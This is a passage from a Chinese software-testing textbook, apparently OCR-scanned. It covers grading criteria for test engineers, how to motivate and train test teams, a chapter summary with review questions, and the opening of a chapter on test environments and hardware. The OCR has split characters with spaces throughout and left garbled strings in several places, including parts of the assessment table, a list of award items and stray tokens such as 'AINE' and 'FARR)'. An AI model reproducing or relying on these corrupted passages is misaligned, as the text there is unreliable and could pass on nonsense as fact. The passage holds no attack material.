
。 通过 实践 工作 掌握 具体 的 测试 方法 ,提高 独立 的 工作 能 力 。 

(4) 培训 的 考核 是 必要 的 环节 ,培训 不 和 考核 结合 起 来 ,培训 的 效果 就 会 大 打折 扣 。 考 
核 可 以 分 为 中 间 检 查 和 培训 结束 时 的 全 面 考核 , 表 12-1 作为 一 个 简单 的 示例 ,说明 测试 工 
程 师 一 般 要 考核 的 项 目 。 
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质量 风险 /失效 模式 和 效果 分 析 


质量 风险 分 析 和 管理 


设计 和 开发 


FARR) 
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检测 设备 执行 
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配置 


测试 数据 生成 


版 本 控制 


配置 管理 


集成 测试 


执行 


AINE 


人 工 探测 


自动 


错误 隔离 


错误 报告 


测试 状态 报告 


测试 尺度 (监控 板 ) 


平均 测试 技能 
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表 12-1 测试 工程 师 考 核 的 项 目 


考核 的 项 目 优秀 (5) 良好 (4) 通过 (3) 不 通过 (1) 差 (一 1) 
公司 产品 >90 >75 >60 <60 <40 
测试 知识 >90 >75 >60 <60 <40 
质量 管理 知识 | >90 >75 >60 <60 <40 
测试 技术 优秀 良好 正常 不 够 好 # 
测试 用 例 设 计 | 90% 80% 70% <70% <50% 
举一反三 ,覆盖 1 一 2 个 明显 问 | 多 个 明显 问题 
i 行 行 日 合 $ o 
测试 用 例 执行 边界 严格 执行 符合 要 求 题 没 被 发 现 没 被 发 现 
发 现 Bug 能 力 | 95% 90% 80% <80% <60% 
Bug 描述 没 问题 ,清楚 | 没 问题 只 有 小 问题 ree 不 会 描写 
问题 分 析 ee a 有 效果 去 做 做 得 少 不 做 
报告 高 质量 ,及 时 ”| 高 质量 ,80% | 正常 ,80% 质量 不 够 好 没 做 
流程 控制 严格 遵守 遵守 基本 遵守 忽略 某 些 地 方 | 没 遵守 
工作 态度 热情 积极 正常 消极 恶劣 


12.4 测试 团队 的 管理 和 发 展 


当 完 成 了 人 员 招 聘 、 建 立 测试 团队 之 后 ,测试 团队 的 管理 和 发 展 就 成 为 当前 主要 工作 之 
一 。 要 想 成 功 管理 好 自己 的 团队 ,使 测试 团队 有 一 个 良好 的 发 展 ,有 许多 工作 要 做 ,不 仅 要 
在 整个 团队 内 部 树立 起 良好 的 团队 意识 ,将 团队 管理 的 普遍 方法 应 用 到 管理 工作 之 中 ,而 且 
针对 软件 测试 团队 的 特点 ,采取 一 些 特定 的 对 策 ,包括 不 同 的 激励 方法 、 做 好 知识 共享 和 在 
岗 培 训 等 。 

通过 合理 设置 和 优化 组 织 结构 . 引 入 个 人 /团队 过 程 模型 (SEI PSP/TSP) 明确 岗位 责 
任 、 绩 效 和 目标 考核 .开展 团队 活动 (如 生日 聚会 ,郊外 旅游 等 ) ,全 面 加 强 测试 团队 的 建设 。 
在 这 一 节 , 主 要 针对 测试 团队 的 特点 来 讨论 如 何 做 好 测试 团队 管理 和 发 展 的 工作 。 


12.4.1 测试 团队 的 激励 方法 


由 于 软件 测试 工作 需要 每 个 成 员 都 有 高 度 的 责任 感 , 全 身心 投入 ,所 以 必须 通过 良好 的 
管理 方法 和 一 系列 激励 措施 ,在 测试 小 组 中 保持 高 昂 的 士气 和 动力 ,使 测试 小 组 的 成 员 相 
信 ,测试 部 门 经 理 和 更 上 层 的 经 理 , 非 常 重视 测试 团队 ,尊重 他 们 的 想法 , 当 他 们 需要 帮助 时 
一 定 会 支持 他 们 。 

1. 表扬 和 奖励 

表扬 和 奖励 仍然 是 激励 测试 人 员 最 主要 的 一 种 形式 ,甚至 采用 积极 的 方式 去 帮助 测试 
人 员 改 正 缺 点 ,而 不 用 批评 或 责备 方式 。 表 扬 的 形式 有 多 种 ,即使 一 封 简单 的 E-mail, 只 要 
表扬 是 具体 的 ,也 会 达到 很 好 的 效果 。 也 可 以 设置 一 系列 奖励 项 目 ,如 : 

。 RI Bus RZA RHI T Bug E. 

。 最 有 价值 的 Bug ( MVB). 


。 最 有 价值 的 测试 用 例 (MVC) 。 

。 优秀 的 测试 计划 。 

。 季度 优秀 员工 。 

。 季度 优秀 新 员工 。 

2. 站 在 测试 小 组 一 边 

目前 国内 业界 还 存在 一 些 误区 ,认为 测试 工作 地 位 要 低 一 些 ,编程 更 具有 技术 性 和 挑战 
性 。 短 时 间 内 不 能 改变 这 种 不 正确 的 观念 ,并 且 在 相关 政策 上 ,这 种 想法 从 某 种 程度 上 也 得 
到 了 体现 。 然 而 ,可 以 采取 一 些 办 法 ,把 这 种 想法 对 测试 小 组 的 消极 影响 降 到 最 低 程度 。 

首先 ,要 使 测试 人 员 坚 信 , 他 们 的 想法 和 建议 能 够 得 到 足够 的 尊重 ,因为 他 们 最 了 解 产 
品 , 对 产品 的 每 一 项 功能 都 很 清楚 ,所 以 对 产品 提出 的 建议 一 般 都 具有 针对 性 ,很 有 价值 。 

其 次 ,要 保护 测试 人 员 。 人 们 潜意识 地 认为 ,编程 人 员 可 以 犯错 误 ,因为 程序 中 有 和 错误 
是 正常 的 , 没 错误 才 是 不 正常 的 ,程序 中 的 错误 有 测试 人 员 来 把 关 。 但 测试 人 员 不 能 犯错 
误 , 如 果 某 个 测试 人 员 漏 掉 一 个 严重 缺陷 ,就 会 让 用 户 碰 到 ,问题 会 变 得 很 严重 。 也 就 是 说 ， 
某 个 测试 人 员 发 现 1000 个 Bug ,结果 漏 掉 一 个 严重 Bug, 最 后 得 到 的 评价 可 能 是 不 好 的 ,可 
能 是 前 功 尽 弃 。 而 科学 研究 表明 ,发 现 的 Bug 越 多 ,潜在 的 、 未 发 现 的 Bug 可 能 性 也 会 越 
大 。 所 以 ,测试 人 员 往 往 受 到 不 公正 的 对 待 ,需要 得 到 保护 。 当 别人 对 测试 小 组 的 成 员 进 行 
愤怒 的 攻击 时 ,不管 他 /她 犯 了 什么 错误 ,不 要 公开 地 批评 和 指责 他 /她 。 然 而 ,作为 测试 部 
门 的 经 理 ,应 勇于 承担 责任 ,承认 存在 的 问题 ,可 以 说 :“ 是 的 ,我 或 许 能 够 把 工作 做 得 更 好 。 
我 想 是 在 评审 报告 时 出 现 了 失误 ,但 是 让 我 们 再 仔细 分 析 一 下 这 个 错误 ,进一步 了 解 其 产生 
的 根本 原因 ”, 这 样 会 有 助 于 测试 人 员 的 情绪 稳定 。 

在 公开 的 场合 中 ,应 该 明确 地 支持 测试 团队 的 组 员 ,然后 在 这 件 事情 过 去 和 反应 平静 之 
后 , 找 一 个 机 会 ,在 很 小 范围 内 进行 批评 ,并 同 整个 测试 组 做 必要 的 交流 工作 。 

3. 提高 士气 

(1) 薪水 。 如 果 测 试 工程 师 的 薪金 标准 低 于 公司 中 其 他 工程 师 的 水 平 , 就 应 该 和 人 力 
资源 部 一 起 努力 ,争取 使 具有 同等 职责 经验. 学历 的 人 得 到 同等 水 平 的 薪水 。 如 果 存 在 不 
合理 的 情况 ,就 设法 做 些 薪水 调查 ,帮助 解决 实际 存在 的 问题 。 

(2) 职务 。 开 发 人 员 的 职务 可 能 比 测试 人 员 的 职务 有 更 高 的 等 级 ,这 种 不 公平 的 现象 
也 应 该 得 到 消除 。 建 议 设置 测试 人 员 专 业 系列 职务 ,并 建立 一 套 认证 体系 。 这 些 专业 系列 
职务 包括 初级 测试 工程 师 ,测试 工程 师资 深 测试 工程 师 、 主 任 测试 工程 师 ,测试 组 长 ,测试 / 
质量 经 理 ,测试 /质量 总 监 等 ,一 些 跨国 公司 ,会 分 为 多 个 级 别 的 工程 师 , 前 面 几 级 (如 第 1， 
2,3,…, 级 ) 都 属于 工程 师 ,从 某 级 (如 第 5 级) 开始, 分 为 两 条 线 : 一 条 线 是 技术 的 ,如 副 主 
任 测试 工程 师 (technical leader) .主任 测试 工程 师 . 首 席 工 程 师 (principal engineer) .首席 科 
学 家 (fellow) , 另 一 条 线 是 技术 管理 的 ,如 经 理 、 高 级 经 理 .总监 .高 级 总 监 等 。 

G) 工作 时 间 。 由 于 软件 测试 的 特殊 性 ,可 能 加 班 的 时 间 会 多 些 ,这 就 要 求 测试 经 理 多 
为 测试 人 员 争 取 额 外 的 补偿 。 更 好 的 做 法 是 ,制定 一 个 更 合理 的 项 目 日 程 表 , 改 进 工作 方 
法 ,提高 工作 效率 ,尽量 消除 加 班 。 

(4) 培训 机 会 。 由 于 测试 任务 重 ,参加 培训 的 机 会 就 比较 少 。 培 训 是 帮助 新 人 更 快 成 
长 的 重要 手段 ,所 以 应 得 到 足够 的 关注 ,争取 各 种 机 会 参加 培训 ,包括 测试 方法 和 技术 .产品 


知识 .系统 设计 、 项 目 管理 等 各 方面 的 培训 。 

4. 支持 合理 的 工作 方式 

由 于 不 切实 际 的 进度 安排 ,或 软件 开发 前 期 工作 没 做 好 ,往往 导致 测试 所 需要 的 时 间 被 
严重 挤 压 , 从 而 造成 测试 人 员 加 班 加 点 。 所 以 ,有 必要 帮助 测试 人 员 建 立 有 效 的 、 合 理 的 工 
作 方 式 ,缓解 进度 所 带 来 的 压力 ,关心 测试 人 员 的 健康 和 成 长 。 在 软件 测试 中 ,常用 的 方 
法 有 : 


白天 创建 .编辑 测试 脚本 ,在 下 班 前 启动 自动 测试 脚本 ,让 系统 晚上 自动 执行 测试 ， 
第 二 天 早上 拿 到 测试 执行 的 结果 。 

调节 各 人 休息 时 间 表 , 保 证 测试 每 周 7 天 都 能 执行 测试 ,充分 利用 测试 机 器 和 其 他 
资源 ,而 每 个 测试 人 员 依 然 每 周 工作 5 天 。 

将 测试 工作 进行 分 解 、 细 化 ,一 部 分 人 (2 一 3 人 比较 好 ,测试 项 目 组 长 必须 参加 ) 可 
以 先进 入 某 个 测试 项 目 ,设计 测试 计划 ,测试 用 例 、 建 立 环境 等 。 

项 目 计 划 或 产品 功能 的 变化 ,对 测试 影响 要 比 开发 大 ,事先 要 对 这 些 风险 进行 充分 
估计 。 在 估计 测试 时 间 时 ,要 留 有 余地 。 


12.4.2 知识 共享 和 在 岗 培训 


在 安排 合适 的 工作 的 同时 提供 正式 和 非 正式 的 培训 机 会 ,以 满足 测试 人 员 不 断 提高 技 
能 的 需要 。 非 正式 的 培训 主要 是 通过 测试 团队 内 部 的 活动 ,达到 知识 共享 ,例如 : 

。 组 内 技术 交流 和 讨论 会 ,例如 一 周 或 一 月 一 个 专题 ,展开 讨论 ; 

。 让 经 验 丰富 或 技术 好 的 小 组 成 员 举 办 讲座 ,分 享 经 验 和 最 佳 实践 ; 

。 建立 测 试 部 门 的 小 图 书 室 或 图 书 俱乐部 ,测试 小 组 一 起 阅读 测试 方面 或 开发 技术 方 

面 的 书籍 ,然后 在 中 午 就 餐 时 间或 其 他 时 间 进 行 讨论 交流 。 

正式 的 培训 机 会 ,是 指 参加 外 部 的 专业 培训 班 . 正 式 的 测试 技术 研讨 会 ,专家 提供 的 培 
训 课程 等 ,也 包括 将 专家 请 到 公司 内 部 所 做 的 培训 或 辅导 。 

1. 测试 培训 流程 

为 了 建立 一 套 测试 培训 流程 ,首先 要 设 定 专业 的 测试 培训 专员 ,来 负责 培训 流程 的 制 
定 , 协 调 测试 培训 模块 的 建立 ,启动 和 跟踪 测试 流程 的 执行 以 及 最 后 培训 的 反馈 、 考 核 等 。 
一 套 完整 的 测试 培训 流程 应 包括 的 内 容 有 : 

(1) 测试 培训 对 象 的 定义 ,对 在 职 的 测试 人 员 培 训 , 其 层次 也 是 不 一 样 的 ,有 初级 测试 
工程 师 , 也 有 资深 测试 工程 师 ; 有 组 员 , 也 有 组 长 ,经 理 等 。 

(2) 测试 目标 的 明确 ,培训 的 方向 可 以 是 计算 机 软件 技术 、 软 件 测试 业务 需求 ,项目 和 
团队 管理 提升 .相关 领域 的 知识 扩展 等 。 测 试 培训 就 是 要 围绕 着 “服务 于 测试 工作 、 服 务 于 
测试 人 员 的 个 人 职业 发 展 ”, 定 义 有 针对 性 的 、 可 度量 /考核 的 具体 目标 。 

(3) 如 何 创建 审查 培训 模块 课程 ,培训 模块 .课程 相当 于 学 校 的 课程 大 纲 ,但 在 软件 
测试 培训 中 针对 性 更 强 、 模 块 化 更 强 和 内 容 更 专业 。 

(4) 培训 讲师 大 部 分 都 是 从 企业 内 部 选 出 ,但 要 制定 相应 的 方法 来 认证 培训 讲师 是 否 
合格 ,以 保证 培训 的 效果 。 

(5) 如 何 审 查 培训 的 内 容 ,确保 内 容 符合 培训 课程 大 岗 的 要 求 ,并 具有 很 高 的 质量 。 


(6) 如 何 收集 培训 之 后 的 反馈 结果 ,包括 反馈 表 的 限制 。 

(7) 如 何 对 培训 进行 考核 ,包括 培训 考试 方式 ,以 及 如 何 将 参加 培训 的 表现 .次 数 和 成 
绩 记 入 全 年 员工 绩效 考核 之 中 。 

(8) 对 培训 效果 进行 分 析 ,不 断 改进 培训 流程 和 操作 。 

2. 测试 内 容 及 其 模块 化 

IEEE CSDP(Certified Software Development Professional ,认证 的 软件 开发 专业 人 员 ) 
描述 了 一 个 资深 测试 工程 师 所 要 培训 的 内 容 , 如 下 所 列 : 

(1) 商业 活动 和 工程 经 济 , 包 括 工程 经 济 、 规 范 、 专 业 实 践 和 标准 ; 

(2) 软件 需求 ,包括 需求 工程 过 程 .需求 引出 、 需 求 分析 、 软 件 需 求 说 明 书 、 需 求 确认 、 需 
求 管理 ; 
G) 软件 设计 ,包括 软件 设计 理念 、 软 件 体系 结构 .软件 设计 质量 分 析 和 评估 、 软 件 设 计 
标记 和 文档 ,软件 设计 策略 和 方法 、 软 件 设计 中 的 人 的 因素 ,软件 和 系统 安全 ; 

(4) 软件 实施 ,包括 计划 实施 、 代 码 设计 数据 设计 和 管理 错误 处 理 、 源 代码 组 织 、 代 码 
文档 .QA 实施 .系统 集成 和 配置 .调整 代码 .实施 工具 ; 

(5) 软件 测试 ,包括 测试 类 型 测试 水 平 ,测试 策略 .测试 设计 .代码 测试 覆盖 .说明书 测 
试 覆盖 .测试 执行 、 测 试 文档 测试 管理 ; 

(6) 软件 维护 ,包括 软件 可 维护 性 、 软 件 维护 过 程 . 软 件 维护 度量 .软件 维护 计划 .软件 
维护 管理 .软件 维护 文档 ; 

(7) 软件 结构 管理 ,包括 SCM 过 程 管理 ,软件 配置 确认 、 软 件 配置 控制 .软件 配置 状态 
计算 ,软件 配置 审核 .软件 发 布 管 理 和 递交 ; 

(8) 软件 工程 管理 ,包括 度量 ,组 织 管理 和 协调 ,初始 化 和 范围 定义 、 计 划 A 
定 、 风 险 管理 ,复审 和 评价 工程 结束 、 后 期 终止 活动 ; 

O) 软件 工程 过 程 ,包括 过 程 基 础 构造 过程 度量 、 过 程 定义 、 定 性 的 过 程 分 析 、 过 程 执 
行 和 变更 ; 

(10) 软件 工程 工具 和 方法 ,包括 管理 工具 和 方法 、 开 发 工具 和 方法 ,维护 工 具 和 方法 、 
支持 工具 和 方法 ; 

AD 软件 质量 ,包括 软件 质量 理念 .计划 SQA 和 V&V、SQA 和 V&V 的 方法 、 应 用 到 
SQA 和 V&V 上 的 度量 法 。 


小 结 


通过 本 章 我 们 了 解 到 软件 测试 团队 的 基本 任务 就 是 建立 测试 计划 设计 测试 用 例 、 执 行 
测试 .评估 测试 结果 和 递交 测试 报告 ,最 终 提高 产品 质量 ,保证 所 发 布 的 软件 产品 具有 一 定 
水 平 的 质量 。 为 了 完成 这 个 任务 ,必须 组 建 一 支 技 术 强 的 专业 测试 团队 ,在 这 个 专业 测试 团 
队 中 ,要 建立 合理 的 团队 结构 ,并 可 以 从 技术 角度 或 产品 线 去 构造 团队 的 组 织 模型 。 了 解 到 
测试 团队 的 基本 构成 ,和 设置 的 不 同 岗 位 ,包括 初级 测试 工程 师 、 测 试 工程 师资 深 (高 级 ) 测 
试 工程 师 ,测试 实验 室 管理 员 ,软件 包 构 建 或 发 布 工程 师 、 测 试 组 长 ,测试 经 理 等 ,清楚 地 定 
义 这 些 岗 位 的 责任 和 要 求 ,对 人 员 招 聘 、 团 队 的 组 建 有 很 重要 的 指导 意义 。 

如 何 发 掘 ` 面 试 和 聘用 优秀 的 测试 人 员 ,关键 是 了 解 一 个 优秀 的 测试 人 员 应 该 具备 哪些 


基本 的 素质 和 能 力 , 除 了 强调 沟通 、 技 术 、 思 维 等 基本 能 力 之 外 ,还 谈 到 一 些 基本 素质 ,包括 
幽默 感 、 耐 心 ,怀疑 精神 、 适 度 的 好 奇 心 等 。 

对 测试 人 员 的 激励 和 培训 非常 重要 ,包括 良好 的 培训 流程 和 培训 内 容 的 模块 化 ,坚持 站 
在 测试 人 员 一 边 ,通过 不 同 的 方式 提高 士气 ,培养 测试 人 员 的 信心 和 精益 求 精 的 精神 ,整体 
地 提高 测试 团队 的 协调 能 力 和 测试 效率 。 


思考 题 


1. 软件 测试 团队 的 主要 任务 是 什么 ?如 何 让 测试 团队 的 不 同 角色 来 执行 这 些 任务 ? 
2. 测试 团队 如 何 与 其 他 团队 合作 ? 在 沟通 中 应 注意 哪些 方面 ? 

3. 在 不 成 熟 的 软件 测试 团队 中 ,最 常见 的 问题 是 什么 ? 

4. 如 何 提高 测试 团队 的 地 位 和 激发 每 个 测试 工程 师 的 工作 潜力 ? 


CHAPTER 13 
#138 


部 署 测 试 环境 


测试 执行 是 在 一 定 的 环境 下 进行 的 ,环境 的 设置 直接 影响 测试 结 
果 。 如 果 环 境 设置 不 对 ,就 可 能 造成 不 正确 的 测试 结果 。 测 试 结果 需 
要 测试 环境 来 保证 ,所 以 在 测试 计划 时 ,就 开始 考虑 .设计 测试 环境 ， 
并 准备 相应 的 测试 环境 所 需 的 资源 。 测 试 环 境 的 建立 是 测试 工作 的 
基础 ,在 项 目 计划 阶段 规划 测试 环境 ,并 能 根据 需要 对 测试 环境 进行 
调整 ,合理 的 计划 安排 可 以 节约 软件 成 本 ,缩短 测试 周期 。 


13.1 测试 环境 的 重要 性 


配置 测试 环境 是 测试 实施 的 一 个 重要 阶段 ,测试 环境 适合 与 否 会 
严重 影响 测试 结果 的 真实 性 和 正确 性 。 

1. 测试 环境 的 定义 

软件 测试 环境 包括 设计 环境 、 实 施 环境 和 管理 环境 。 本 章 的 内 容 
讲述 的 是 通常 意义 上 的 测试 环境 , 即 测试 的 实施 环境 。 

(1) 设计 环境 : 编制 测 斌 计划、 说明、 报告 及 与 测试 有 关 的 文件 
所 基于 的 软 、 硬 件 设备 和 支持 。 在 软件 设计 阶段 ,不 仅 要 设计 测试 用 
例 ,绘制 系统 工作 流程 图 .数据 流程 图 等 ,需要 一 些 设计 工具 支持 ,而 
且 还 有 开发 测试 工具 或 测试 脚本 ,需要 集成 开发 环境 (IDE) 的 支持 ， 
以 及 对 技术 讨论 ,沟通 等 必要 的 支持 手段 ,如 即时 消息 (IM) ,邮件 .在 
线 会 议 系 统 等 。 

(2) 实施 环境 : 对 软件 系统 进行 各 项 测试 所 基于 的 软 、 硬 件 设备 
和 支持 。 测 试 实施 环境 包括 被 测 软 件 的 运行 平台 和 用 于 各 项 测试 的 
工具 。 实 施 环 境 必 须 尽 可 能 地 模拟 真实 环境 ,以 期 望 能 够 测试 出 真实 
环境 中 的 所 有 问题 ,同时 该 环境 是 独立 的 ,不 受 开发 人 员 调 试 工作 的 
影响 。 通 常 意义 上 所 讨论 的 测试 环境 ,主要 就 是 指 软件 测试 的 实施 
环境 。 

(3) 管理 环境 : 管理 测试 资源 所 基于 的 软 、 硬 件 设 备 和 支持 。 测 
试 资 源 指 测试 活动 所 利用 或 产生 的 有 形 物 质 ( 如 软件 .硬件 文档 ?或 
无 形 财富 (如 人 力 、 时 间 、 测 试 操作 等 )。 广 义 的 测试 管理 环境 包含 测 


试 设计 环境 、 测 试 实施 环 境 和 专门 的 测试 管理 工具 。 例 如 ,对 Bug 的 跟踪 、 分 析 管 理 ; 对 
Test case 的 分 类 管理 ; 对 测试 任务 的 分 派 ,资源 管理 等 。 

2. 测试 环境 是 测试 的 基础 

测试 环境 贯穿 了 测试 的 各 个 阶段 ,每 个 测试 阶段 中 测试 环境 对 测试 的 影响 是 不 一 样 的 。 

在 测试 的 计划 阶段 ,充分 理解 客户 需求 ,掌握 产品 的 基本 特性 有 助 于 测试 环境 的 设计 ， 
合理 调度 使 用 各 种 资源 ,申请 新 的 测试 资源 ,保证 计划 的 顺利 实施 。 如 果 在 测试 计划 中 规划 
了 一 个 不 正确 的 环境 ,直到 实施 的 过 程 中 才 发 现 ,将 浪费 大 量 的 人 力 和 物力 取得 一 些 无 用 的 
结果 。 即 使 只 是 遗漏 了 一 些 环境 配置 (如 在 一 个 基于 手机 开发 的 项 目 中 遗漏 了 手机 的 上 网 
费用 ) ,不 能 及 时 发 现 、 申 请 购买 或 调用 ,也 会 影响 整个 项 目的 进度 。 

在 单元 测试 和 集成 测试 阶段 ,大 部 分 测试 工作 是 由 开发 人 员 完 成 的 。 开 发 人 员 的 测试 
环境 通常 为 开发 环境 ,有 利于 代码 的 调试 和 分 析 , 但 开发 环境 和 产品 实际 运行 环境 的 差异 比 
较 大 ,测试 结果 可 能 不 够 可 靠 。 有 这 样 一 个 例子 ,测试 人 员 报 告 的 Bug 在 开发 环境 中 无 法 
重 现 , 开 发 人 员 就 在 测试 人 员 的 测试 环境 中 研究 ,原来 是 环境 系统 的 设置 不 同 造成 的 ,测试 
人 员 就 应 该 分 析 修 改 系 统 设置 是 否 合理 。 如 果 要 求 用 户 手工 修改 系统 设置 ,或 不 能 识别 用 
户 的 系统 设置 ,通常 可 以 确定 是 缺陷 。 

在 系统 测试 和 验收 测试 阶段 ,测试 环境 必须 最 大 限度 地 接近 实际 环境 。 测 试 人 员 在 设 
计 测 试用 例 时 就 得 写 明 测 试 环境 ,因为 在 不 同 的 环境 中 预期 的 结果 是 不 同 的 。 测 试 中 运行 
测试 用 例 、 报 告 Bug 时 有 一 项 基本 要 求 就 是 写 明 测试 环境 ,以 便 开 发 人 员 再 现 Bug, 减 少 不 
必要 的 交流 和 讨论 。 大 型 的 软件 系统 ,特别 是 支持 多 平台 的 软件 系统 ,往往 测试 环境 比较 复 
杂 , 而 且 在 不 同 的 环境 下 ,软件 的 特性 有 差异 ,问题 的 解决 方案 也 不 同 。 

测试 环境 是 软件 测试 的 基础 ,使 用 错误 的 测试 环境 ,可 能 引起 下 列 一 系列 问题 ， 

。 得 出 完全 错误 甚至 是 相反 的 结果 ; 

。 得 出 的 结果 与 实际 使 用 中 的 结果 有 很 大 误差 

。 忽略 了 实际 使 用 可 能 会 出 现 的 严重 错误 ,将 严重 的 Bug 遗留 到 客户 的 手中 ; 

。 项目 返工 ,造成 巨大 的 资源 浪费 ; 

。 项目 延期 ,信誉 的 损失 。 

所 以 ,测试 环境 问题 的 重要 性 应 该 得 到 充分 的 重视 。 尽 量 将 测试 环境 的 因素 降 到 最 小 ， 
避免 因 测试 环境 出 现 的 问题 。 


13.2 测试 环境 要 素 


测试 环境 包括 硬件 环境 和 软件 环境 ,硬件 环境 指 测试 必需 的 服务 器 、 客 户 端 、 网 络 连 接 
设备 ,以 及 打印 机 ,扫描 仪 等 辅助 硬件 设备 所 构成 的 环境 ; 软件 环境 指 被 测 软 件 运 行 时 的 操 
作 系 统 、 数 据 库 及 其 他 应 用 软件 构成 的 环境 。 细 分 测试 环境 的 5 个 要 素 是 : 软件 、 硬 件 、 网 
络 环境 、 数 据 准备 ,测试 工具 。 测 试 工具 (包括 自动 化 测试 框架 ) 是 测试 环境 的 重要 组 成 部 
分 ,在 第 11 章 已 做 了 详细 介绍 。 一 般 还 需要 监控 诊断 的 实用 工具 ,如 监控 系统 性 能 、 网 络 流 
量 的 工具 ,跟踪 记录 出 错 信息 、 备 份 关键 数据 的 工具 等 。 

这 里 讨论 的 测试 环境 主要 指 物理 环境 因素 ,实际 上 ,在 讨论 测试 环境 时 ,还 要 考虑 测试 
环境 的 社会 因素 和 产品 特性 的 影响 。 例 如 ,社会 因素 中 要 考虑 相关 的 国家 标准 ,甚至 相关 的 


法 律 条 款 等 ,而 从 产品 特性 的 影响 来 看 ,包括 产品 的 主要 用 途 、 用 户 特征 、 运 行 时 间 长 短 、 负 


13.2.1 硬件 


软件 测试 中 ,最 基本 的 硬件 包括 特定 的 网 络 设备 .服务器 ,测试 用 机 。 服 务 器 可 分 为 PC 
服务 器 、 专 用 服务 器 、 小 型 机 等 。 为 了 满足 密集 部 署 服务 器 的 需要 ,开始 普遍 使 用 机 架 式 服 
务 器 和 刀片 式 服务 器 , 极 大 改善 了 服务 器 管理 性 能 ,使 运作 参数 最 优化 ,能 够 减少 环境 设置 、 
复杂 线 缆 动力 和 散热 等 方面 的 开支 ,并 节省 机 房 空间 , 有 利于 日 常 的 维护 及 管理 。 

。 机 架 式 服务 器 (Rack Server) ,以 19 英寸 机 架 作为 标准 宽度 的 服务 器 类 型 ,高 度 则 从 
1U 到 数 U ,一 般 分 为 1U 和 2U。1U 服务 器 比较 薄 (4. 445cm) , 耗 电 低 ,一 个 机 架 可 
以 安装 更 多 的 服务 器 。2U 服务 器 机 型 的 体形 是 1U 机 型 的 两 倍 , 服 务 器 内 部 具有 
更 大 的 空间 ,功能 会 更 强大 些 ,使 用 寿命 会 更 长 些 。 
刀片 式 服务 器 (Blade Server) 是 一 种 HAHD(High Availability High Density, 高 可 
用 高 密度 ) 的 低 成 本 服务 器 平台 ,如 图 13-1 所 示 。 每 一 块 “ 刀 片 ”就 是 一 块 系统 主 
板 , 并 通过 本 地 硬盘 启动 操作 系统 ,类 似 于 一 个 个 独立 的 服务 器 。 一 个 42U 高 的 
Blade Server 系统 ,可 以 容纳 140 个 服务 器 。 


图 13-1 刀片 式 服务 器 


测试 用 机 又 可 分 为 普通 PC、 网 络 PCR Mac) HL. Sun 工作 站 、 移 动 设备 等 。 也 可 
以 用 服务 器 来 做 测试 机 ,特别 是 在 性 能 测试 时 ,一 台 服 务 器 模拟 的 虚拟 用 户 要 远 远 超过 
一 般 的 PC 台式 机 ,这 样 无 论 从 性 价 比 、 占 用 空间 等 来 看 ,都 宜 选 用 机 架 式 服务 器 或 刀片 
式 服务 器 。 

测试 Audio, Video 等 多 媒体 产品 除 需 要 配备 摄像 头 、 麦 克 风 、 音 箱 等 之 外 ,还 要 选择 不 
同类 型 的 声卡 .显示 卡 等 。 显 示 卡 主要 厂商 有 Intel, ATI, nVidia, VIA (S3) , SIS, Matrox, 
XGI,3D Labs。 其 中 Intel, VIA(S3) SIS 主要 生产 集成 芯片 ; ATI(Radeon 系列 显示 卡 ) 和 
nVidia( 包 括 TNT Geforce 系列 显示 卡 ) 以 独立 芯片 为 主 ,目前 是 市 场 上 的 主流 ; 而 Matrox 
和 3D Labs 则 主要 面向 专业 图 形 市 场 。3Dfx 公司 以 生产 VooDoo( 巫 毒 ) 显 示 卡 而 闻名 , 现 
被 nVidia 公司 收购 。 

和 显示 卡 一 样 ,声卡 也 分 主板 集成 声卡 ( 板 载 声卡 ) 和 独立 声卡 ,还 有 一 种 外 置式 声卡 ， 


通过 USB 接口 与 计算 机 连接 。 板 载 声卡 还 可 以 进一步 分 为 软 声卡 和 硬 声卡 , 软 声卡 没有 主 
处 理 芯 片 , 只 有 一 个 解码 芯片 ,通过 CPU 的 运算 来 代替 声卡 主 处 理 芯片 的 作用 。 而 板 载 硬 
声卡 带 有 主 处 理 芯 片 ,许多 音效 计算 都 由 主 处 理 芯 片 来 进行 ,而 不 需要 CPU 参与 。 另 外 ， 
声卡 .显示 卡 看 似 硬件 ,但 最 终 还 受 其 驱动 程序 的 控制 ,而 且 在 选择 驱动 程序 时 ,还 要 考虑 操 
作 系 统 .型 号 等 因素 ,如 图 13-2 所 示 。 
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图 13-2 选择 声卡 驱动 程序 的 过 程 


除了 主机 、 声 卡 、 显 示 卡 等 硬件 之 外 ,测试 中 常用 的 硬件 设备 还 包括 : 
。 手机 : 智能 手机 iPhone、Blackbarry、GPhone 和 其 他 各 种 普通 手机 等 。 
。 网 络 设备 : 种 类 非常 丰富 ,包括 交换 机 、 路 由 器 等 ,还 有 防火 墙 ` 负 载 均 衡器 相关 的 
网 络 设备 ,如 Cisco ASA、F5 BIG-IP 和 Citrix NetScaler 等 。 
。 输入 设备 : 键盘 鼠标、 摄像 头 、. 扫 描 仪 .电子 白板 等 。 电 子 白板 应 用 越 来 越 多 ,而 它 
的 类 型 (如 复印 式 、 交 互 式 等 ) 也 比较 多 ,值得 关注 。 
。 输出 设备 : (网络) 打印 机 、 显 示 器 等 。 
。 各 种 接口 : USB 接口 ,并行 、 串 行 和 红外 线 接口 。 
硬件 设备 多 种 多 样 ,完全 根据 产品 的 需求 进行 选择 。 但 选择 时 需要 考虑 其 配置 标准 。 
通常 有 “标准 配置 .最 佳 配置 和 最 低 配置 ”等 几 种 情况 。 例 如 ,一 台 服 务 器 的 主要 性 能 指标 由 
CPU 主板. 内存、 硬盘 决定 。 设 计 要 求 应 用 服务 器 配置 : Intel 架构 的 2U 机 架 式 服务 器 ， 
2.4GHz Xeon X CPU 4GB 内 存 .320GB SCSI 硬盘 .1000M 自 适应 网 卡 等 , 则 此 配置 就 是 
标准 配置 ,因为 完全 符合 设计 要 求 。 
。 如 果 建 议 使 用 性 能 更 高 配置 的 服务 器 ,其 配置 超过 标准 配置 , 即 可 能 会 定义 最 佳 配 
置 , 即 系统 在 这 样 配置 下 运行 更 流畅 。 对 于 这 种 配置 ,需要 验证 与 标准 配置 的 兼容 
性 ,但 相关 的 性 能 测试 .容量 测试 等 还 是 应 该 在 标准 配置 的 服务 器 上 运行 。 
。 最 低 配置 指 的 是 能 够 满足 系统 运行 所 需 的 最 低 硬 件 配置 ,在 某 些 情况 下 用 低 配 置 设 
备 搭建 部 分 测试 环境 是 明智 的 。 如 预算 经 费 不 足 时 ,或 已 经 拥有 部 分 低 配置 设备 
时 。 有 些 配置 测试 的 任务 本 身 就 是 要 求 能 够 保证 软件 系统 能 够 在 最 低 配置 的 设备 
